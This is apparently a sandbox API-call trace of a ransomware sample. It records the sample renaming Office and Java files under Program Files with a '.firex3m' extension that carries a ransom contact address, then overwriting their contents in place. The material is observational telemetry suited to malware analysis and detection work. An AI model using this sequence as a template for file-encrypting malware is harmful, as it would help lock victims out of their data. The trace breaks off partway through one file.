0x699888 [0114.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.583] Sleep (dwMilliseconds=0x1) [0114.604] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml", len=0x3d | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 1 [0114.604] GetProcessHeap () returned 0x630000 [0114.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0178, Size=0x14) returned 0x6b0318 [0114.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.610] Sleep (dwMilliseconds=0x1) [0114.625] Sleep (dwMilliseconds=0x1) [0114.638] Sleep (dwMilliseconds=0x1) [0114.653] Sleep (dwMilliseconds=0x1) [0114.669] Sleep (dwMilliseconds=0x1) [0114.686] Sleep (dwMilliseconds=0x1) [0114.700] Sleep (dwMilliseconds=0x1) [0114.716] Sleep (dwMilliseconds=0x1) [0114.731] Sleep (dwMilliseconds=0x1) [0114.747] Sleep (dwMilliseconds=0x1) [0114.762] Sleep (dwMilliseconds=0x1) [0114.778] Sleep (dwMilliseconds=0x1) [0114.794] Sleep (dwMilliseconds=0x1) [0114.880] Sleep (dwMilliseconds=0x1) [0114.887] Sleep (dwMilliseconds=0x1) [0114.903] Sleep (dwMilliseconds=0x1) [0114.919] Sleep (dwMilliseconds=0x1) [0114.938] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", len=0x42 | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 1 [0114.938] GetProcessHeap () returned 0x630000 [0114.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0xc) returned 0x6b13b8 [0114.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.945] Sleep (dwMilliseconds=0x1) [0114.954] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE", len=0x42 | out: pbstr=0x393ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 1 [0114.954] GetProcessHeap () returned 0x630000 [0114.954] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b12b0 | out: hHeap=0x630000) returned 1 [0114.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0114.959] CloseHandle (hObject=0x700) returned 1 [0114.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0114.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0114.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x100, cFileName="LICLUA.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LICLUA~1.FIR")) returned 0x6d5380 [0114.966] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0114.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0114.966] GetProcessHeap () returned 0x630000 [0114.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0114.966] GetProcessHeap () returned 0x630000 [0114.966] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72ba008 [0114.967] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.967] ReadFile (in: hFile=0x700, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0117.680] GetProcessHeap () returned 0x630000 [0117.680] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0117.680] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.680] WriteFile (in: hFile=0x700, lpBuffer=0x72ba008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ba008*, lpNumberOfBytesWritten=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0117.680] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.680] WriteFile (in: hFile=0x700, lpBuffer=0x72c5407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c5407*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0117.682] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.682] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0117.682] CloseHandle (hObject=0x700) returned 1 [0117.693] GetProcessHeap () returned 0x630000 [0117.693] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72ba008 | out: hHeap=0x630000) returned 1 [0117.697] GetProcessHeap () returned 0x630000 [0117.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0117.697] GetProcessHeap () returned 0x630000 [0117.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0117.698] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.698] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc194273, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x58cf4, dwReserved0=0xcbc7496, dwReserved1=0x72de940, cFileName="LICLUA.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LICLUA~1.FIR")) returned 0x6d5200 [0117.698] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0117.698] Sleep (dwMilliseconds=0x1) [0117.701] Sleep (dwMilliseconds=0x1) [0117.720] Sleep (dwMilliseconds=0x1) [0118.717] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc", len=0x35 | out: pbstr=0x393ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 1 [0118.717] GetProcessHeap () returned 0x630000 [0118.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72d15f8, Size=0xac) returned 0x72d22e8 [0118.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0118.816] CloseHandle (hObject=0x68c) returned 1 [0118.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x7408cab6, dwReserved1=0x0, cFileName="fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FONTCO~2.FIR")) returned 0x6d5200 [0118.840] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.840] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0118.840] GetProcessHeap () returned 0x630000 [0118.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x727d80 [0118.840] GetProcessHeap () returned 0x630000 [0118.840] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x7302f48 [0118.840] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.840] ReadFile (in: hFile=0x67c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x393ff0c*=0xea0, lpOverlapped=0x0) returned 1 [0118.892] GetProcessHeap () returned 0x630000 [0118.892] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0118.892] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.892] WriteFile (in: hFile=0x67c, lpBuffer=0x7302f48*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7302f48*, lpNumberOfBytesWritten=0x393ff0c*=0xea0, lpOverlapped=0x0) returned 1 [0118.893] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.893] WriteFile (in: hFile=0x67c, lpBuffer=0x7303de7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7303de7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.893] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.893] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.893] CloseHandle (hObject=0x67c) returned 1 [0118.894] GetProcessHeap () returned 0x630000 [0118.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7302f48 | out: hHeap=0x630000) returned 1 [0118.894] GetProcessHeap () returned 0x630000 [0118.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0118.894] GetProcessHeap () returned 0x630000 [0118.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0118.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcd0db5b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xede, dwReserved0=0xcbc7496, dwReserved1=0x727d78, cFileName="fontconfig.bfc.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FONTCO~2.FIR")) returned 0x6d4e40 [0118.954] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0118.954] Sleep (dwMilliseconds=0x1) [0118.975] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties", len=0x39 | out: pbstr=0x393ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 1 [0118.975] GetProcessHeap () returned 0x630000 [0118.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x104) returned 0x6807b8 [0118.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0118.976] CloseHandle (hObject=0x6a0) returned 1 [0118.976] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.977] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOGGIN~1.FIR")) returned 0x6d5280 [0118.978] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0118.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0118.978] GetProcessHeap () returned 0x630000 [0118.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9a1) returned 0x697da8 [0118.978] GetProcessHeap () returned 0x630000 [0118.978] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9a1) returned 0x6e5368 [0118.978] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.978] ReadFile (in: hFile=0x6a0, lpBuffer=0x697da8, nNumberOfBytesToRead=0x980, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x393ff0c*=0x980, lpOverlapped=0x0) returned 1 [0118.989] GetProcessHeap () returned 0x630000 [0118.989] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0118.989] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.989] WriteFile (in: hFile=0x6a0, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x393ff0c*=0x980, lpOverlapped=0x0) returned 1 [0118.989] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.989] WriteFile (in: hFile=0x6a0, lpBuffer=0x6e5ce7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5ce7*, lpNumberOfBytesWritten=0x393ff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.989] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.989] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x393ff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.989] CloseHandle (hObject=0x6a0) returned 1 [0118.990] GetProcessHeap () returned 0x630000 [0118.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0118.990] GetProcessHeap () returned 0x630000 [0118.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0118.990] GetProcessHeap () returned 0x630000 [0118.990] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0118.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fcc4 | out: lpFindFileData=0x393fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcdf26b1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9bb, dwReserved0=0xcbc7496, dwReserved1=0x697da0, cFileName="logging.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOGGIN~1.FIR")) returned 0x6d4f40 [0118.991] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0118.991] Sleep (dwMilliseconds=0x1) [0119.012] SysReAllocStringLen (in: pbstr=0x393ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", len=0x2f | out: pbstr=0x393ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 1 [0119.012] GetProcessHeap () returned 0x630000 [0119.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0xfc) returned 0x6807b8 [0119.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0119.013] CloseHandle (hObject=0x6a0) returned 1 [0119.013] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.014] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x393ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x393fc6c | out: lpFindFileData=0x393fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JSSEJA~1.FIR")) returned 0x6d5400 [0119.014] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0119.014] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0119.015] GetProcessHeap () returned 0x630000 [0119.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f11da8 [0119.015] GetProcessHeap () returned 0x630000 [0119.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1d1d8 [0119.016] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.016] ReadFile (in: hFile=0x6a0, lpBuffer=0x6f11da8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x393ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11da8*, lpNumberOfBytesRead=0x393ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0123.082] GetProcessHeap () returned 0x630000 [0123.082] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0123.082] 